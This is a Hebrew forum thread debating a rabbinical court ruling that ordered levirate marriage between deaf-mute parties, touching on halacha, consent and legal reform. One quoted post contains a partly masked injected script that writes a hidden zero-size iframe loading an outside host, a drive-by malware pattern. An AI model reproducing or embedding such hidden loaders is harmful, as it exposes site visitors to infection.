|
|
| נשלח ב-13/5/2011 18:20 |
 |
| |
ב"ה.
מיימוני,
ברשותך, שתי הערות:
א. בקריאה חפוזה (של ערב שבת אחר חצות) נראית סתירה בדבריך: מחד טוען אתה כי החרש שאין קידושיו קידושין הוא זה שהוא "כמפגר ברמה קשה", כלומר שחרש שהוא בר דעת קצת - קידושיו קידושין. מאידך טוען אתה כי חכמים תקנו מעין קידושין לחרש "שהוא בר דעת ברמה מעבר לפיגור הקשה", כלומר שגם חרש כזה אין קידושין קידושין.
ב. אינך מבין כיצד פסק בית הדין ליבם חרש שיגרש, בעוד המעשה הוא אודות יבמה חירשת שניתן לגרשה...
|
|
|
|
| נשלח ב-13/5/2011 18:39 |
|
| |
צענע,
"יוסקה לייב אתה מהווה הוכחה חיה לכל המפקפקים -
שום דבר לא מזעזע אותך בסיפור הזה רק בגלל שזאת ההלכה.
הוא אשר אמרתי שכאשר מדינת הלכה תקום לא ישנו כלום ועוד הרבה כמו יוסקה לייב יהיו שאננים."
את תמשיכי להזדעזע, ולהתקומם על כך ש'סיפורים' מעין אלו אינם מתפרסמים, ואני אמשיך לטעון שההלכה חייבת להשתנות .
אם את מחייסת שאננות לקריאתי שההלכה חייבת להשתנות, אז אין לי ברירה אלא לקבוע שיש לך בעיה חמורה עם דרך החשיבה שלך
_________________
|
|
|
|
| נשלח ב-15/5/2011 06:55 |
|
| |
צענע
העליתי את פסק הדין כאן: http://www.zumodrive.com/share/cu7RMDhkMW
______________
ירוחם
<ההלכה היא המחייבת- חליצה לפני קהל> ההלכה מחייבת חליצה לפני קהל כדי שהדבר יתפרסם, בימנו כשקיים רישום ברבנות אין צורך בחליצה בפני קהל. בחדרי חרדים | פורום: עצור כאן חושבים - החליצה והיריקה - תרבות פנאי ?
______________
מ"אנציקלופדיה הלכתית רפואית" (שטיינברג) ערך חרש: "סוגים של חרשים נידונים בחז"ל: יש חרש שאינו שומע ואינו מדבר, היינו חרש-אילם, וזהו החרש שדיברו בו חכמים בכל מקום4, והשוו אותו לשוטה וקטן, שאינם בני דעת5. אמנם יש מי שכתב, שכלל זה נאמר רק במקום שחרש כתוב יחד עם שוטה וקטן, אבל כשהתנא שונה חרש לבד, הוא כולל בו גם מי שמדבר ואינו שומע6; יש חרש המדבר ואינו שומע7, היינו שהיה פיקח מתחילתו, ולמד לדבר, ואחר כך נתחרש8, והוא כפיקח לכל דבר, והוא ככל האדם9, אלא שנתמעט ממצוות אחדות, אם בגלל שבאופן מעשי יש בהם צורך בשמיעה, או שנתמעט מלימוד מיוחד; יש חרש באוזנו האחת, שדינו כשומע לכל דבר, ואפילו בדברים שחרש המדבר ואינו שומע אינו ראוי לקיימם מחמת חסרון שמיעתו10, פרט למצוות הקהל וראיה, שיש מיעוט מיוחד, שהתורה מיעטה אף חרש באוזנו אחת11; מי שכבדו אוזניו משמוע, אבל שומע קצת, ונושא ונותן יפה, ומבין מה שמדברים עמו, אין דינו כחרש לכל הדעות12. יש שחרש נקרא מי ששומע ואינו מדבר, היינו אילם"13.
______________________________ 4 תרומות א ב; חגיגה ב ב; נידה יג ב; רמב"ם אישות ב כו.
5 יבמות צט ב. וראה להלן חלק ד, בפרטי הדינים.
6 חי' תבואות שור לגיטין נט ב, בדעת הרמב"ם. וראה בר"ש ורע"ב תרומות א א, שכתבו שאין זה כלל בכל מקום. וראה עוד בנידון בשו"ת נובי"ק חאבהע"ז סי' נג; שו"ת צמח צדק חאבהע"ז סי' שכג; שד"ח מע' חי"ת כלל ל, וכלל קו-קז.
7 תוספתא תרומות פ"א; חגיגה ב ב; גיטין עא א.
8 רש"י חגיגה ב ב ד"ה מדבר; רש"י נידה יג ב ד"ה מדברת.
9 חגיגה וגיטין שם; רמב"ם אישות ב כו. וראה בשד"ח מערכת חי"ת כלל לא.
10 פרמ"ג בפתיחה כוללת ח"ב אות ח.
11 ראה חגיגה ג א; רמב"ם חגיגה ב א-ג.
12 שו"ת הרא"ש סוף כלל פה; טושו"ע חו"מ רלה יט. וראה להלן בחלק ד, בפרטי דינים.
13מנחות סד ב, ובפירש"י שם; פיהמ"ש לרמב"ם תרומות א ב; שנות אליהו תרומות א ב. וראה בע' אלם.
תוקן על ידי נישטאיך ב- 15/05/2011 07:53:27
 |
|
|
|
|
| נשלח ב-15/5/2011 08:28 |
|
| |
|
|
|
|
| נשלח ב-15/5/2011 18:20 |
|
| |
| מיימוני כתב: |  | | איני מכירו, אבל אני מכיר את יסודות ההלכה. אז הבה נתבונן בהם יחד. וננסה להבין את טעמיהם [...] יש להבין זאת על רקע התקופה שבה ניתנה תורה, ולמעשה המצב לא השתנה אחר כך אלפי שנים, ממתן תורה ועד ימי התנאים והאמוראים ואחר כך [...] א. מצות ייבום נועדה להועיל לאלמנה ולשאר המשפחה.******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אתה מוכן להסביר לי איך הטענה שלך פותרת את השאלה? ממה נפשך- אם ההלכה צריכה לדאוג לחלקים החלשים בחברה, מדוע היא לא עושה זאת היום? האם הקיפאון ההלכתי האורתודוקסי המקובל לא מנוגד בעצם להלכה, ואז אין שום הגיון בשמירתו? אם ההלכה אמורה רק לדאוג להמשך הדרך מהעבר, בלי להתחשב במציאות ובאנשים, למה לנסות לטעון שפעם עשו זאת? או שעלינו לחזור לשמירת ההלכה המקורית, לפני שהרפורמים (חז"ל) שינו אותה?
|
|
|
|
| נשלח ב-15/5/2011 19:13 |
|
| |
| דייר כתב: | | נראה לא אמין בכלל הסיפור הזה ממתי מיבמים היום?
ומי יתיר קיום יחסי מין בכפייה?
לא בעיה למצוא פטנטים להתחמק מהסיפור ואם זה אמיתי ארגוני הנשים והשמאל
היו חוגגים על המקרה עד שהסיפור היה יוצא לנו מהאף. |
|
בהנחה שהמקרה אכן אירע (איני מפקפק חלילה ביושרו של פותח האשכול אולם הועלו פה טענות שלא כך ההלכה ושהפסק לא יתכן כך שאולי נפלה טעות בדבריו).
היחסי מין לא קוימו בכפייה, כלומר לא בכפייה על ידי המייבם, בפני היבמה עמדה הברירה להישאר בעגינותה או להסכים להליך (יתכן וסביר שגם היבם נכפה לכך מתוך רצונו לעזור לגיסתו).
ברור שמבחינתם זה עדיין נורא אני רק בא להעמיד דברים על דיוקם.
תוקן על ידי מטפחתספרים ב- 15/05/2011 19:23:36
|
|
|
|
| נשלח ב-15/5/2011 19:44 |
|
| |
מיימוני כתבת
"בזמננו, אנו נאמנים להלכה כפי שניתנה, שכן הלכה מטבעה אינה משתנה. כל מה שאנו יכולים לעשות הוא להוסיף תקנות לפי הצורך שאינן סותרות דיני תורה. כך תיקן רבנו גרשום מאור הגולה לפני כאלף שנה שגבר לא יישא יותר מאשה אחת."
למה צריך לשמור על הלכות שכבר לא רלוונטיות לחלוטין לזמננו?
בוא נהיה אמיתיים הרי אין היום הצדקה ליבום
העולם השתנה מעמד האשה השתנה ובימינו המצווה הזאת נראית אנרכוניסטית
לחלוטין.
אז למה????
הרי זאת השאלה הגדולה האם לעשות מהמצוות ע"ז ולא לגעת בהן
או שהמצוות נתנו כדי להיטיב אבל כשהעולם משתנה ואנחנו רואים בחוש שהמצווה כבר לא מתאימה
אז מוותרים.
פתחתי על זה אשכול שלם ועדיין לא קיבלתי תשובה ענינית.
|
|
|
|
| נשלח ב-15/5/2011 19:52 |
|
| |
מטפחת,
בהנחה שהמקרה אכן אירע ?
ראה למעלה נישטאיך לינקק לפסק הדין
http://www.zumodrive.com/share/cu7RMDhkMW
[עמוד 85] פסק - דין הוגשה לפנינו תביעה ע"י הגב' א' נגד אחי בעלה ב' שיחלוץ לה. התובעת הנ"ל נתאלמנה מבעלה ג' בי"ט חשון תשכ"ו מבלי שהשאיר אחריו זרע של קיימא. המבקשת א' ובעלה ג' המנוח נולדו חרשים ואלמים. המנוח השאיר אחריו שני אחים מן האב ומן האם. האח הגדול הנו חרש - אלם מלידה ונשא אשה לפני כמה חדשים בירושלים. האח הקטן הנו פקח שהגיע לגיל שלש עשרה שנה. המנוח ואשתו והיבם הנם בני העדה הספרדית. לביה"ד הובאו עדויות מספיקות על כל הנ"ל. בט' אדר א' ניתן פס"ד המחייב את היבם ב' ליבם את זקוקתו א', וזאת לאחר שיתקבל אשור מהרבנים הראשיים לישראל. יש לציין כי מפאת חשיבות הענין ניתן ההיתר ע"י הרבנים הראשיים בדחיפות עוד בי"ג אדר א' תשכ"ז.
בהופיעם בפנינו בי"ז אדר א', הסכים היבם לקיים מצות יבום ולגרשה למחרת, אך האשה חששה פן לא יעמוד בדיבורו ולא יגרשה, ע"כ היה צורך להחתים את היבם ואביו על התחייבות לתשלום מזונות בסך /חמש מאות/ ל"י לחודש כל עוד ולא יגרשה. לאחר זאת הסכימה האשה להתייבם.
היבום נערך בי"ט אדר א' והגירושין התקיימו ברחובות למחרת בכ' אדר א'. .........[.....].....
א"כ בנ"ד אולי היינו צריכים להתיר לו לחלוץ, מכיון שגילה פיקחותו והבנתו, כפי שכתבנו לעיל, וגם מדבר בשפת עלגים. בכ"ז היה עלינו לבדקו היטב לראות מה מידת דיבורו הנלעג.
אמנם נראה דבנ"ד אין אנו זקוקים לכל זה, מאחר שגם היבמה היא חרשת גמורה, והיא אינה מדברת אף בלשון נלעגת כלל, אינה מוציאה שום הברות, ואינה יודעת לא לקרוא ולא לחתום שמה. א"כ אף אם נימא דמצדו היה אפשר להתיר בחליצה, אך מצדה שהיא חרשת גמורה ואינה מדברת כלל לא תיתכן חליצה.
נמצאנו למדים שבנ"ד שהם חרשים ואינו יכול לחלוץ כ"ע לא פליגי דיוכל ליבם, ואף שאפשר להסתפק בחרש דידן אם יש לו דין פיקח, אך מכיון שהיא חרשת גמורה ואינה מדברת כלל, שפיר האי דינא דעליהם לקיים מצות יבום"
_________________
תוקן על ידי יוסקהלייב ב- 15/05/2011 20:26:54
|
|
|
|
|
| נשלח ב-15/5/2011 20:53 |
|
| |
| יוסקהלייב כתב: | |
אך האשה חששה פן לא יעמוד בדיבורו ולא יגרשה, ע"כ היה צורך להחתים את היבם ואביו על התחייבות לתשלום מזונות בסך /חמש מאות/ ל"י לחודש כל עוד ולא יגרשה. לאחר זאת הסכימה האשה להתייבם [...] אמנם נראה דבנ"ד אין אנו זקוקים לכל זה, מאחר שגם היבמה היא חרשת גמורה, והיא אינה מדברת אף בלשון נלעגת כלל, אינה מוציאה שום הברות, ואינה יודעת לא לקרוא ולא לחתום שמה.
|
|
רק לי נראה מוזר שמישהי שיכולה לחשוש שירמו אותה, לא יכולה לחתום את שמה?
|
|
|
|
| נשלח ב-16/5/2011 08:05 |
|
| |
מטפחת
<היחסי מין לא קוימו בכפייה, כלומר לא בכפייה על ידי המייבם, בפני היבמה עמדה הברירה להישאר בעגינותה או להסכים להליך>
באותו כיוון מחשבה:
היתה זו הנאנסת שגרמה לאונס, כי אילו היתה מסכימה מרצון, לא היה זה אונס
|
|
|
|
| נשלח ב-16/5/2011 09:53 |
|
| |
נישט, זה לא דמיון גמור.
אני לא באתי להקל בחומרת העניין מבחינת היבמה (וכנראה גם המייבם) אלא להעמיד דברים על דיוקם.
|
|
|
|
| נשלח ב-16/5/2011 10:19 |
|
| |
מהם דיוקם?
היבמה היא חרשת גמורה, והיא אינה מדברת אף בלשון נלעגת כלל, אינה מוציאה שום הברות, ואינה יודעת לא לקרוא ולא לחתום שמה.
תוקן על ידי נישטאיך ב- 16/05/2011 10:31:19
|
|
|
|
|
| נשלח ב-16/5/2011 13:47 |
|
| |
מישהו הבין איך מישהי שלא מתקשרת בכלל (לטענת ביה"ד) חייתה עם מישהו שגם לא מתקשר בכלל? או שאולי הם תיקשרו מצויין, בשפת הסימנים, וביה"ד לא התייחס לזה? מה שמחזיר אותי לשאלה הקודמת, אם הלכות ייבום נועדו לדאוג לחלשה במציאות מסויימת, למה בי"ד לא מתאימים את ההלכה למציאות המשתנה כדי להמשיך ולדאוג לחלשה?
מטפחת- זו הבחנה יפה. בעולם מתוקן, מי היה נאשם באונס- היבם או ביה"ד?
תוקן על ידי לא_מתביישת ב- 16/05/2011 13:50:34
|
|
|
|
| נשלח ב-16/5/2011 14:12 |
|
| |
זה חוק התורה, בישראל הוא לא מחייב היא הייתה יכולה פשוט לבחור לא להתייבם ולחיות עם מישהו אחר.
זה אמנם מטרד (נישואים לא מוכרים) אבל לא אונס.
שוב, חוק התורה דורש הסבר מוסרי (או הסבר למה לא צריך הסבר).
|
|
|
|
| נשלח ב-16/5/2011 14:38 |
|
| |
מטפחת, זו התממות.
אתה חי בחברה מסויימת, והחברה קובעת את הכללים.
אתה יכול לנעול נעליים אדומות, חולצה ירוקה ומכנסי ברמודה. על ראשך תחבוש כובע מחודד, תתעטף בטלית ותבקש להכנס לשירותי הנשים. כשיזרקו אותך משם, או אולי - יקחו אותך בכח לבדיקה פסיכיאטרית, תוכל לומר: "אני פשוט בחרתי ללבוש בגדים כאלה ולהכנס למקום כזה". נכון, אתה בחרת, אבל חלק מבחירתך הוא יציאתך מהמעגל החברתי.
השאלה המוסרית המעניינת אותי היא, האם החברה רשאית לחייב אשה לקיים יחסי מין עם הגיס שלה, כדי שבעתיד תוכל להנשא לאדם כלבבה. להגיד "היא בוחרת שלא להנשא" זו התממות.
_________________
אוי לשכן
ואוי לשכנו
|
|
|
|
|
